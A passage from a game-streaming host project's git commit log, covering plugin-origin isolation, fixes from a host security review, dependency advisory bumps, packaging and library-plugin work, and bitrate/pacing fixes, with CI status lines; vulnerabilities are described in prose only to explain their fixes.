in new tab" link was the same escalation with no iframe involved at all.

The fix is not a sandbox attribute, and it is worth writing down why, because
the obvious change is the one that does not work. Dropping `allow-same-origin`
gives the frame an OPAQUE origin; its subresource requests are then cross-site;
the `SameSite=Lax` session cookie stops being sent; every plugin asset 302s to
/login and the frame is blank. Nothing about the new-tab link is helped either.

So the origin moves instead. A second listener on its own port (default
PORT + 1) serves plugin UIs and nothing else:

  different ORIGIN — scheme+host+PORT — so the same-origin policy separates the
                     plugin from the console: it cannot read the console's DOM,
                     its cross-origin fetch of /api/** is unreadable (no CORS)
                     and cannot mutate (Sec-Fetch-Site sees same-site).
  same SITE        — cookie scope ignores the port and SameSite is computed on
                     the site, so the session cookie still reaches the plugin
                     listener and plugin pages keep working.

Enforcement is two refusals and both are load-bearing: the console origin
refuses /plugin-ui/**, and the plugin origin refuses everything ELSE — above
all /api/**, which would otherwise hand the admin bearer right back to plugin
JS that is now same-origin with that listener. Both are unconditional: if the
plugin port cannot be bound, plugin UIs are DISABLED and the console says so,
rather than falling back to the arrangement this exists to remove.

Two consequences that would otherwise bite in the field:

  The port has to be open. Done for the Windows netsh rule, the firewalld
  service and the ufw profile.

  A browser stores a self-signed-certificate exception per ORIGIN, including
  the port — and a certificate interstitial can never be shown inside an
  iframe, so the frame would just sit blank with nothing on screen explaining
  why. A `no-cors` probe distinguishes it (a TLS failure rejects; any HTTP
  answer, even 401, resolves) and the console renders a card linking the
  operator to open the port once in a real tab.

Also here: the health probe moved server-side to the console origin (it used
to rely on being same-origin with the plugin), the postMessage listener now
verifies `event.origin` — a real check rather than a tautology — and
plugin-kit's `postMessage(..., "*")` is documented as load-bearing, since
narrowing it to `location.origin` would now target the plugin's own origin and
silently drop every message.

Verified against a running console with a fake mgmt API and a fake plugin:
console /plugin-ui/** → 404; plugin-origin /api/v1/hooks, /, /login,
/_auth/logout → 404; plugin page loads 200 through its own origin;
unauthenticated plugin origin → 401 (not a redirect to a /login it does not
serve); a forged x-pf-listener header changes nothing on either listener; the
plugin's own Clear-Site-Data / Access-Control-Allow-Origin / Set-Cookie are
dropped by the proxy allowlist; the plugin origin's CSP names the console as
its only frame-ancestors source; and with the port squatted, ui-config reports
`unavailable`, the console still refuses /plugin-ui/**, and the console itself
keeps working.

Still wants on-glass confirmation in a real browser — the cookie and framing
behaviour is reasoned from spec, not observed.

cargo fmt --all --check clean; cargo check -p punktfunk-host --all-targets
green on Windows; web console builds and typechecks.
2026-08-05 17:50:04 +02:00
enricobuehler 8103958169 fix(security): the plugin lane stops being a way in
Acts on the 2026-08-05 host security review. 36 of its 38 findings; the two
exceptions are recorded below and in the review doc.

The review's headline is that `plugin_may_access` was the one authorization
gate in the system that was allow-by-default — a hand-maintained denylist of
route prefixes, where every sibling gate is deny-by-default. Its own doc
comment names the two capabilities it exists to withhold, and both were
reachable one route over, because ~1450 commits of new routes were added and
the list was never one of the things anyone remembered to update.

So the gate is now an allowlist, and a test walks the live route table and
fails the build for any route that has not been deliberately classified for
both non-admin lanes. That test is the actual fix: it is what stops the next
route from arriving pre-authorized.

Route reachability and field authority turned out to be different questions.
A provider plugin has to be able to reconcile its own library entries — that
is what a scanner plugin IS — but `prep` and a `command` launch inside that
payload are handed to `/bin/sh -c` as the host user, and every execution site
documents them as operator-typed. Requests now carry the lane that authorized
them, and those two fields are refused to everyone but the operator's own
token.

The art proxy read any absolute path off disk in the host process, which on
Windows is LocalSystem, from a path the plugin lane could write and then read
back — so it yielded `mgmt-token`, which is full admin. It now serves only
real images (extension AND magic bytes, so a renamed secret fails), only from
inside an allowed root, only after canonicalization, and never over UNC; and
a path it would refuse to serve can no longer be persisted in the first place.

On Windows, the config-dir hardening was skipped exactly when it was needed —
it ran only in the branch that CREATES host.env, so the case it was written
for (a local user pre-created the directory and planted one) was the one case
it never ran in. It is now unconditional and first, an existing host.env is
re-owned, and the inheritable OWNER RIGHTS ACE that kept an attacker's files
theirs after the directory was re-owned is gone. The identity and token
readers were hardening the directory only on the path that GENERATED a new
secret, so a planted cert/key or token was adopted verbatim and permanently;
they harden before the first read now.

`ensure_admin_only_source` is implemented. The 2026-07-05 audit recorded it as
FIXED and it was in no commit in this repository's history — the local EoP it
described was live, and it is the payload half of the config-dir chain above.

Also: the three input planes are bounded and lossy like the mic plane on the
same loop already was; Android's library client no longer accepts any
publicly-trusted certificate for the pinned host; the usbip vhci nodes get
their own group instead of riding on `input`, which every packaging scriptlet
tells users to join; a registry URL can no longer inject a TOML table into
bunfig.toml; the pairing cooldown is charged before the arming state is read,
so armed/disarmed is no longer a free oracle; and the whole Low tier, of which
the two worth naming are a clipboard MIME NUL that panicked the host on one
control message, and an unauthenticated global logout that let any LAN peer
sign the operator out on a loop.

NOT fixed, deliberately:

  H-3 (plugin UIs framed allow-same-origin). Dropping allow-same-origin does
  not work: the document's origin goes opaque, its subresource requests are
  then cross-site, the SameSite=Lax session cookie is not sent, and every
  plugin asset 302s to /login. The "open in new tab" link is the same
  escalation with no iframe at all, so the sandbox attribute is not where this
  gets fixed either. It needs a second listener — a distinct origin that is
  still the same site — which changes the console's deploy model and wants
  on-glass validation. The mechanism and the dead end are written down at the
  iframe.

  H-6 registry authentication, whose other half lives in unom/infra. The
  in-repo halves are done: workflow_dispatch inputs no longer interpolate into
  run: blocks (one of them in the step holding UPDATE_MANIFEST_KEY), and the
  syft installer is pinned to its tag instead of main. Digest pinning is left
  until the registry is authenticated, because a tag — content-keyed or not —
  can simply be overwritten while anonymous pushes are accepted.

M-5 is half done: the oracle is closed, but binding the arming window needs
the console to learn the fingerprint first, which is a knock-then-bind flow
rather than an edit.

Verified: cargo fmt --all --check clean; cargo check --all-targets green on
Linux and on Windows (confirmed non-vacuous — a planted type error in
windows/install.rs fails the build); scripts/xcheck.sh windows check green;
cargo test -p punktfunk-host --bins 416 passed, the single failure being
gamestream::stream::tests::sender_delivers_batches, the known qemu-environmental
UDP-loopback flake that fails identically on clean main in the same container;
cargo test -p pf-clipboard 13 passed; web console typechecks.
2026-08-05 17:12:12 +02:00
enricobuehler ce8f3e9eaf feat(packaging): the plugin runner becomes a default component
WP6.1 of design/library-scanner-plugins-implementation-plan.md.

The library is a flagship surface and cannot depend on an opt-in subsystem
(design D9, closing G9): once the scanners are plugins, a host whose runner is
off comes up with an empty library and no obvious reason why. The security
posture for on-by-default was already built and shipped — LocalService on
Windows, a sandboxed systemd --user unit on Linux, the scoped plugin-token lane.

Windows (.iss): the PunktfunkScripting task is registered ENABLED and started on
a FRESH install, and left to the existing restore path on an upgrade. The
distinction is a new TaskExists probe taken before StopBunRuntimes disables
anything — TaskEnabled alone cannot tell a fresh install from an operator who
deliberately turned the runner off, and defaulting to "on" would silently switch
it back on for them.

deb/rpm: `systemctl --global enable` from the postinst/%post, guarded to first
install only so an upgrade never undoes a mask. `--global` because a maintainer
script has no user session to act on, and it is the only mechanism that makes a
--user unit on-by-default for everyone.

sysext: RPM scriptlets never run from a sysext image, so the enablement symlink
is baked in directly (/usr/lib/systemd/user/default.target.wants/). Without it
the runner would ship present-but-off on exactly the platform where an operator
is least likely to go looking for it.

Opt-out throughout is `systemctl --user mask punktfunk-scripting` — `mask`, not
`disable`, since a plain disable cannot remove a symlink under /etc or /usr. The
unit comment, both package descriptions, and the docs-site plugins page all say
so; the page also gains the Windows equivalent.

Not gated on hardware: none of this is verifiable from a Mac. The .iss change
needs an installer run (fresh + upgrade, and an upgrade with the task
deliberately disabled), and the deb/rpm/sysext changes need a package build.
2026-08-05 10:08:11 +02:00
enricobuehler bd383f1820 feat(web): one Game sources surface, launcher rail, and the migration nudge
M4 of design/library-scanner-plugins-implementation-plan.md, plus WP6.2.

WP4.1 — SourceToggles and ProvidersCard merge into Library/Sources.tsx. They
were two cards because they were two different things: scanners were compiled
into the host, plugins were an afterthought. After the extraction they are the
same thing — the host reports ONE list of sources whose ids match whether they
came from a built-in scanner or the plugin replacing it — so one surface is both
simpler and the only honest presentation. Each row carries its toggle, a
running/stopped badge for plugin sources, an entry count, filter, settings and
an uninstall that offers to remove the games too. An "Add a source" rail lists
uncatalogued library plugins with a "Detected" badge; `detected` is deliberately
tri-state, so only a POSITIVE probe badges — an entry with no probes for this
platform is unknown, and calling that "not installed" would be a lie.

The settings drawer (SourceSettings.tsx) renders a generic form from the
plugin's own JSON Schema over GET/PUT /__config, through the existing
session-gated /plugin-ui/<id>/ proxy — zero new host surface, and the browser
never learns the plugin's port or secret. It flattens allOf branches (effect
nests a checked schema's annotations there, so a form reading only the top level
silently loses every title and default) and falls back to a JSON editor when any
field is a shape it cannot express — partial rendering would be worse than none,
because a field missing from the form is a setting the operator cannot change.

WP4.2 — uiPlugins() now excludes category "library", which covers both the
sidebar and the mobile overflow since they share the selector. The
/plugins/$pluginId/$ route still resolves, so existing deep links keep working;
library plugins are just not advertised.

WP4.3 — LibraryGrid groups role:"launcher" entries into a rail above the grid,
and the empty state points at the sources surface rather than leaving a bare
grid (after extraction, "no games" is the expected first-run state).

WP6.2 — a migration banner offering one install per still-built-in scanner whose
plugin is catalogued. One button per scanner, never a single "migrate
everything" and never a silent auto-install: installing code stays an explicit
operator act, and per-scanner is what makes it safe to repeat (the claim
suppresses the built-in idempotently, so a half-finished migration is a valid
state).

WP4.4 — i18n en+de (kept under the existing "Game sources" label rather than
minting a third "Plugins"), Storybook stories for the sources card in three
states, the launcher rail and the banner. Gates: orval regen, tsc clean, vite
build clean, check-i18n green at 595 messages for both locales.

Still owed: the browser click-through (the store's Tabs-theme bug shipped
through green types and lint), and an AppShell nav story — that one needs the
plugins query mocked, which does not exist in this Storybook setup yet.
2026-08-05 10:03:24 +02:00
enricobuehler 8728d90e01 feat(plugin-kit): the library-plugin framework — parsers, __config, defineLibraryPlugin
M3 of design/library-scanner-plugins-implementation-plan.md. Target shape: a
first-party scanner plugin is its parsers plus a scan function.

WP3.1 — a parsers module under the new ./library subpath, porting what the six
in-host scanners hand-rolled: text VDF/ACF, the BINARY shortcuts.vdf KeyValues
walker with its CRC-32 appid derivation and the 64-bit rungameid composition,
read-only SQLite (bun:sqlite, immutable=1 so a scan can never take a lock or
spawn WAL sidecars next to a launcher's live database), a reg.exe wrapper,
capped readers, the path-confinement join that keeps a crafted goggame-*.info
from pointing a launch at an arbitrary program, Steam root/library discovery,
art location helpers, and a fetch helper carrying the host's no-redirect
anti-SSRF posture. Every parser is total: a missing launcher or a truncated file
degrades to "no titles", never to a throw.

Two deliberate departures from the Rust originals, both about the Windows
runner's account: steam root discovery now also reads HKLM Valve\Steam
InstallPath (a non-default install dir was previously uncovered), and the
registry wrapper refuses HKCU outright — as LocalService that is not the
operator's hive, so reading it would silently look like "not installed".

WP3.2 — GET/PUT /__config on the kit's UI server, so a plugin with settings does
not ship an SPA (closes G8). GET answers {schema, value}: the derived JSON Schema
and the raw operator-authored config. PUT validates by decoding and only then
persists RAW, so defaults are never baked into the file. The handler is split out
as makeConfigHandler and driven directly in tests.

WP3.3 — defineLibraryPlugin wires SyncEngine (poll + fs-watch + debounce), the
store-claiming reconcile, launcher entries appended to every sync, a UI server
serving only __config under category "library" (which keeps six installed
scanners out of the console nav), and the standard detect/scan/uninstall CLI
verbs. It warns ONCE when a pre-M2 host silently ignores the store claim — that
degradation is otherwise invisible except as duplicated titles.

M0/S2 is recorded here as a committed fixture rather than prose. Two findings the
original spike missed because deriving a schema does not exercise it:
withDecodingDefaultKey takes an Effect, not a thunk — a thunk type-checks, derives
fine, and dies at decode time; and a checked schema (Schema.Int) nests its
annotations under allOf, so a form must merge those branches. Both are pinned.

plugin-kit: version 0.3.0, tsc clean, 46 tests pass (16 ported parser tests, 10
config/derivation). Publishing (WP3.4) is deferred — it needs a tag and a push.
2026-08-05 09:53:58 +02:00
enricobuehler 3d4a659959 feat(host,sdk,kit): store claims, launcher entries, and plugin sources on the wire
M2 of design/library-scanner-plugins-implementation-plan.md. Everything a
library scanner plugin needs is now expressible over the API; all additive.

WP2.1/2.2 — store claims (D2). library.json gains a v2 shape ({entries, claims})
that loads the v1 bare array unchanged and is written on the first mutation.
PUT /library/provider/{p}?store=<s> claims a store for a provider: its entries
then surface with deterministic <store>:<external_id> ids and the store's own
badge instead of opaque custom:<id> ones. That identity is the whole point —
entry ids, GameStream FNV app ids, client art caches and Moonlight pins all
survive a title moving from an in-host scanner to a plugin. One provider per
store (409 otherwise); DELETE releases; an empty reconcile does NOT (a store can
legitimately have zero titles). While a claim is held, all_games() skips the
matching built-in scanner, so the two never double-list during the bridge.

WP2.3 — DetectHint gains steam_appid and env_marker, the two store-derived
signals the host used to read for itself. Without them a steam plugin's lease
tracking would drop from reaper-exact to dir-prefix, and Heroic-under-Proton
would lose the only signal that works. Malformed markers are dropped, not
honoured — this feeds a path that can end processes.

WP2.4/2.5 — role: game|launcher on the entry shapes (serde-default, skipped when
default), and a steam_ui launch kind valued bigpicture|desktop that opens the
Steam client itself. Validated inbound as well as at launch.

WP2.6 — GET/PUT /library/scanners generalizes to SOURCES: built-in scanners
minus claimed ones, plus claimed stores, plus any provider with entries. The
same library-scanners.json disabled-set backs all of them and the ids match by
construction, so a user's disabled state carries over verbatim through the whole
migration. A disabled plugin source has its entries filtered at read time,
exactly like a disabled scanner.

WP2.7/2.8 — plugin registration gains a category field (the console keeps
library plugins out of the nav); index entries gain categories and per-platform
detect probes, evaluated existence-only into CatalogEntry.detected so the host
never re-grows per-store knowledge. Index SCHEMA stays 1 — additive.

WP2.9 — OpenAPI + SDK regenerated on Linux; kit wire widened (LaunchSpec.kind is
now a plain string documented against the host's vocabulary — closes G3), and
ProviderClient.reconcile takes an optional store and returns the host's echoed
entries so a caller can detect a pre-M2 host silently ignoring the claim.

Also fixes a bug the S3 spike turned up: is_steam_launch gated on a steam:// URI,
so a steam_ui launcher entry would have skipped BOTH gamescope's --steam mode and
the B1 single-instance free — on a box autologged into game mode, the nested
second Steam would see the first and exit, crashing the spawn. It now tests the
first token.

Gates on .21: workspace tests green (punktfunk-host 425 passed), workspace
clippy -D warnings clean, cargo fmt --all --check clean, OpenAPI drift test
green. plugin-kit: tsc clean, 20 tests pass.
2026-08-05 09:39:31 +02:00
enricobuehler a418d2852a refactor(host/library): launch helpers into launch.rs, art proxy resolves any id
M1 of design/library-scanner-plugins-implementation-plan.md — behavior-frozen
groundwork for lifting the six scanners out into plugins.

WP1.1: heroic_command/heroic_launch_prefix, epic_launch_uri, gog_spawn,
valid_steam_appid and shortcut_gameid move into library/launch.rs with their
unit tests. The scanner modules beside it now do enumeration only, so they can
be deleted wholesale later without taking launch logic with them (D1).

WP1.2: is_local_art_path accepts file:// (the plugin contract) and POSIX
absolute paths, excluding the two /-leading shapes the host itself emits (its
own /api/ proxy path and protocol-relative CDN URLs). local_art_bytes
percent-decodes and converts a file:// value first. The art proxy and
fetch_box_art resolve ANY id against library.json before the legacy steam:
branch, so a plugin's entries serve art without the host knowing its store.

No API change; no user-visible change.
2026-08-05 09:09:19 +02:00
enricobuehler 110ac9b663 Merge pull request 'fix(stall): T2 amplification kill — resume-edge pacing + ABR starved-window guard' (#53) from worktree-stall-ride-through into main
apple / swift (push) Successful in 1m26s
ci / docs-site (push) Successful in 1m15s
ci / web (push) Successful in 1m36s
ci / rust-arm64 (push) Successful in 3m4s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 22s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 9s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 6s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 5s
deb / build-publish (push) Successful in 3m43s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 6s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 8s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 26s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 30s
deb / build-publish-client-arm64 (push) Successful in 4m11s
deb / build-publish-host (push) Successful in 4m27s
docker / builders-arm64cross (push) Successful in 5s
docker / deploy-docs (push) Successful in 33s
arch / build-publish (push) Successful in 7m29s
android / android (push) Successful in 8m0s
ci / rust (push) Successful in 9m20s
flatpak / build-publish (push) Successful in 5m36s
release / apple (push) Successful in 11m4s
windows-host / package (push) Successful in 12m31s
windows-host / winget-source (push) Skipped
windows-host / canary-manifest (push) Successful in 16s
windows-msix / package (arm64, C:\Users\Public\ffmpeg-arm64, --no-default-features, aarch64-pc-windows-msvc, C:\t-a64) (push) Successful in 2m37s
windows-msix / package (x64, C:\Users\Public\ffmpeg, , x86_64-pc-windows-msvc, C:\t) (push) Successful in 2m59s
apple / screenshots (push) Successful in 5m52s
windows / build (aarch64-pc-windows-msvc) (push) Successful in 1m19s
windows / build (x86_64-pc-windows-msvc) (push) Failing after 2m41s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 18m35s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 18m1s
2026-08-05 06:35:30 +00:00
enricobuehler 1d6f4760f3 Merge branch 'main' into worktree-stall-ride-through
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m8s
apple / swift (pull_request) Successful in 1m20s
apple / screenshots (pull_request) Skipped
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m7s
android / android (pull_request) Successful in 3m10s
ci / web (pull_request) Successful in 1m9s
ci / rust-arm64 (pull_request) Successful in 1m38s
ci / docs-site (pull_request) Successful in 1m25s
ci / rust (pull_request) Successful in 6m32s
2026-08-05 06:22:41 +00:00
enricobuehler 9dfbc2f895 Merge pull request 'fix(client-core): pad-audio references the WASAPI module by its mounted name' (#57) from fix/pad-audio-wasapi-module-path into main
ci / web (push) Successful in 1m7s
ci / rust-arm64 (push) Successful in 1m22s
apple / swift (push) Successful in 1m27s
ci / docs-site (push) Successful in 1m24s
deb / build-publish-client-arm64 (push) Successful in 2m46s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 6s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 7s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 5s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 4s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 6s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 4s
deb / build-publish-host (push) Successful in 4m8s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 49s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m12s
deb / build-publish (push) Successful in 6m26s
windows-msix / package (arm64, C:\Users\Public\ffmpeg-arm64, --no-default-features, aarch64-pc-windows-msvc, C:\t-a64) (push) Successful in 3m43s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Failing after 16s
docker / builders-arm64cross (push) Successful in 19s
apple / screenshots (push) Successful in 5m53s
android / android (push) Successful in 8m51s
arch / build-publish (push) Successful in 9m37s
ci / rust (push) Successful in 10m25s
docker / deploy-docs (push) Failing after 3m52s
flatpak / build-publish (push) Canceled after 5m43s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Canceled after 5m20s
windows-msix / package (x64, C:\Users\Public\ffmpeg, , x86_64-pc-windows-msvc, C:\t) (push) Canceled after 5m45s
windows / build (aarch64-pc-windows-msvc) (push) Canceled after 0s
windows / build (x86_64-pc-windows-msvc) (push) Canceled after 0s
2026-08-05 06:22:31 +00:00
enricobuehler 56adb47026 fix(client-core): pad-audio references the WASAPI module by its mounted name
ci / web (pull_request) Successful in 56s
apple / swift (pull_request) Successful in 1m25s
apple / screenshots (pull_request) Skipped
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m40s
ci / docs-site (pull_request) Successful in 2m33s
ci / rust-arm64 (pull_request) Successful in 2m43s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m17s
android / android (pull_request) Successful in 4m12s
ci / rust (pull_request) Successful in 6m21s
The Windows build of pf-client-core has been red on main since the
pad-audio merge (#23): pad_audio.rs calls
`crate::audio_wasapi::device_by_id`, but lib.rs mounts audio_wasapi.rs AS
`crate::audio` via the #[path] per-OS swap — the `audio_wasapi` module
name never exists. Windows-gated call site, so every Linux leg stayed
green while both `windows / build` targets failed E0433.

One-line rename to the mounted path (+ the comment that pointed readers
at the phantom name). Verification is the PR's own windows leg — the
crate builds on no other platform this path compiles on.
2026-08-05 08:15:02 +02:00
enricobuehler 52a9d02355 Merge pull request 'fix(deps): close the undici, fast-uri, postcss and brace-expansion advisories' (#55) from worktree-audit-undici into main
audit / cargo-audit (push) Successful in 43s
audit / bun-audit (plugin-kit) (push) Successful in 16s
audit / bun-audit (sdk) (push) Successful in 17s
audit / bun-audit (web) (push) Successful in 21s
audit / docs-site-audit (push) Successful in 18s
audit / pnpm-audit (push) Successful in 9s
ci / web (push) Successful in 1m14s
ci / docs-site (push) Successful in 1m23s
ci / rust-arm64 (push) Successful in 2m20s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 13s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 7s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 5s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 5s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 4s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 6s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 46s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 9s
deb / build-publish-client-arm64 (push) Successful in 2m45s
deb / build-publish (push) Successful in 5m12s
audit / license-gate (push) Successful in 5m44s
deb / build-publish-host (push) Successful in 4m56s
arch / build-publish (push) Successful in 11m54s
docker / builders-arm64cross (push) Successful in 49s
ci / rust (push) Successful in 10m46s
docker / deploy-docs (push) Failing after 3m45s
windows-host / package (push) Successful in 17m5s
windows-host / winget-source (push) Skipped
windows-host / canary-manifest (push) Successful in 14s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 16m2s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 19m10s
Reviewed-on: #55
2026-08-05 05:51:06 +00:00
enricobuehler e5ca213339 fix(core/abr): a starved window is never a decode-knee sample
apple / swift (pull_request) Successful in 1m25s
apple / screenshots (pull_request) Skipped
windows / build (aarch64-pc-windows-msvc) (pull_request) Failing after 6m2s
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 2m57s
ci / rust-arm64 (pull_request) Successful in 1m24s
ci / web (pull_request) Successful in 1m13s
ci / docs-site (pull_request) Successful in 1m47s
android / android (pull_request) Successful in 5m30s
ci / rust (pull_request) Successful in 9m50s
Stall program T2 (amplification kill), the phantom-latch half. A deciding
window that delivered under a quarter of the target rate (a host-side
capture stall, an outage, a mid-window pause) carries starvation-shaped
distress — a jump-to-live flush, a keyframe-ask burst — that the decode-cap
latch read as decoder evidence: under a periodic capture stall (the RDNA4
standby-sink field cases, one stall every ~5 s) every edge offers another
'backoff' at the SAME rate, and one pair latches a phantom decoder knee at
whatever rate the display driver happened to interrupt. The session then
fights the cap's re-probe ladder (+12.5% per 16-128 clean windows) for
minutes on a decoder that was never the problem.

Starved windows still back off (real damage deserves the safe response) but
take the same 'not a knee sample either way' arm as a draining backoff:
they neither latch a decode cap nor erase the reference a genuine choke
set, so a real knee's pair still finds itself around the interruption. The
¼ bar sits deliberately far under the ×¾ utilization bar climbs require.

Gates: 44 abr tests green (2 new: the stall-cycle no-latch scenario and the
reference-preservation scenario), full core lib suite 346 green
(--features quic), fmt + clippy clean.
2026-08-05 00:28:25 +02:00
enricobuehler e5416646f9 fix(host/send): a stall-resume frame paces at the proven rate instead of blasting
Stall program T2 (amplification kill), the resume-burst half. The native
pace budget was min(0.9 × time-to-deadline, overflow at ~3× stream rate) —
for steady-state frames the rate term is smaller and decides, but for an
OVERSIZED frame (a capture-stall resume carrying seconds of scene delta, a
cold IDR) the deadline term clamped a multi-interval overflow into the
remainder of ONE: an instantaneous many-×-stream-rate blast that overruns
the socket tx-buffer and loses the very frame that would have ended the
freeze. Field fingerprint across three RDNA4 standby-sink cases:
WSAENOBUFS(10055) + loss_ppm spikes at stall edges, then a recovery-IDR
round trip per retry while the client shows 'current bitrate 0.1'.

The budget is now the overflow's wire time at the pace rate itself
(send_pacing::native_budget, pure + unit-tested), bounded by an absolute
100 ms ceiling so a pathological frame can't park the send thread; the
deadline stays a target, never a license to blast. Steady-state frames
produce byte-identical schedules (the rate term already decided);
PUNKTFUNK_PACE_FACTOR=0 keeps the legacy deadline-only spread; the
GameStream plane's Moonlight-pinned schedule is untouched.

Gates: host clippy --all-targets -D warnings + 9 send_pacing tests green
(linux/amd64 container), fmt clean.
2026-08-05 00:28:13 +02:00
enricobuehler b79d90b463 fix(deps): close the undici, fast-uri, postcss and brace-expansion advisories
ci / web (pull_request) Successful in 1m8s
ci / rust-arm64 (pull_request) Successful in 1m33s
ci / docs-site (pull_request) Successful in 1m21s
ci / rust (pull_request) Failing after 7m49s
audit.yml's three blocking bun-audit legs (web, sdk, plugin-kit) were all red on
main. Ten findings in sdk and plugin-kit, eight in web; every one of them a
transitive dependency, none reachable by bumping a direct dep.

web already carried the right mechanism — an `overrides` block whose `undici` and
`fast-uri` pins had simply gone stale — so it needed four bumps, not a new idea:
undici 7.28.0 -> ^7.29.0 and fast-uri 3.1.4 -> ^3.1.5 for the reported advisories,
plus postcss ^8.5.10 -> ^8.5.25 and brace-expansion ^5.0.8 -> ^5.0.9 for two more
that were published after the failing run and would have gone red on the next
audit anyway. All four stay inside their current major.

sdk and plugin-kit were harder and the fix deserves an explanation. Their single
finding is undici 8.7.0/8.8.0 pulled in by @effect/platform-node, a devDependency
pinned at 4.0.0-beta.98. That dependency already declares `undici: ^8.7.0`, which
permits the fixed 8.10.0 — the vulnerable version survives purely as a stale
lockfile resolution. Nothing bumps it in place: `bun update` only walks direct
dependencies, `bun install --force` preserves a resolution that still satisfies
its range, and every platform-node release through beta.103 declares the same
`^8.7.0`, so moving the dep changes nothing. Bun rejects the scoped form outright
("Bun currently does not support nested resolutions"), so a flat `overrides` entry
is the only mechanism available, and it necessarily also moves sdk's top-level
undici from 7.x to 8.x.

That is safe here, and was verified rather than assumed. The only source use is
sdk/src/config.ts, which does `new Agent({ connect: { ca } })` behind a dynamic
import and a try/catch with a documented plain-fetch fallback; `Agent` and its
`connect` option are unchanged between undici 7 and 8. sdk typechecks and its 72
tests pass against 8.10.0; plugin-kit typechecks and its 20 tests pass. Both trees
now dedupe to a single undici 8.10.0.

Consumers are deliberately untouched: `overrides` apply only at the root of the
tree that declares them and are not honored when the package is installed as a
dependency, so sdk's published `optionalDependencies: { undici: "^7.0.0" }` is
left alone — a consumer resolves the latest 7.x, which is the fixed 7.29.0. The
override governs this repo's own tree, which is exactly what audit.yml checks.
Worth knowing: sdk's dev tree therefore exercises undici 8 while consumers get 7.

One trap found on the way. Running `bun install` over plugin-kit's existing
lockfile emitted a lockfile with two byte-identical `@punktfunk/host` entries —
its `file:../sdk` dependency crossed with the new override — and bun then refuses
its own output with "Error loading lockfile: InvalidPackageKey". That reads as a
tooling error rather than a finding, so it would have taken the audit gate down
while looking like something else entirely. Regenerating the lockfile from scratch
produces a valid single entry; all three lockfiles are checked for duplicate keys.

Also worth recording, because it nearly shipped: deleting the pinned nested entry
from a lockfile makes `bun audit` report "No vulnerabilities found" while the
vulnerable copy is still installed on disk. bun audit reads the lockfile, not
node_modules. That is a vacuous green, not a fix, and was rejected.

Verified: `bun audit` clean in all three trees; web builds and typechecks (its
typecheck needs the build first, which generates routeTree.gen); sdk 72/72 and
plugin-kit 20/20 tests pass.
2026-08-05 00:22:25 +02:00
enricobuehler 8983ec04b9 Merge pull request 'feat(pad-audio): DualSense voice-coil haptics + speaker, host to client' (#23) from feat/android-pad-audio into main
audit / bun-audit (plugin-kit) (push) Failing after 30s
audit / cargo-audit (push) Successful in 35s
apple / swift (push) Successful in 1m20s
audit / bun-audit (sdk) (push) Failing after 23s
audit / bun-audit (web) (push) Failing after 19s
audit / pnpm-audit (push) Successful in 12s
audit / docs-site-audit (push) Successful in 22s
ci / web (push) Successful in 1m7s
ci / rust-arm64 (push) Successful in 1m25s
ci / docs-site (push) Successful in 1m9s
android / android (push) Successful in 6m30s
audit / license-gate (push) Successful in 6m28s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 28s
deb / build-publish-client-arm64 (push) Successful in 3m8s
deb / build-publish (push) Successful in 4m48s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 10s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 9s
arch / build-publish (push) Failing after 10m5s
ci / rust (push) Failing after 7m23s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 8s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 6s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 38s
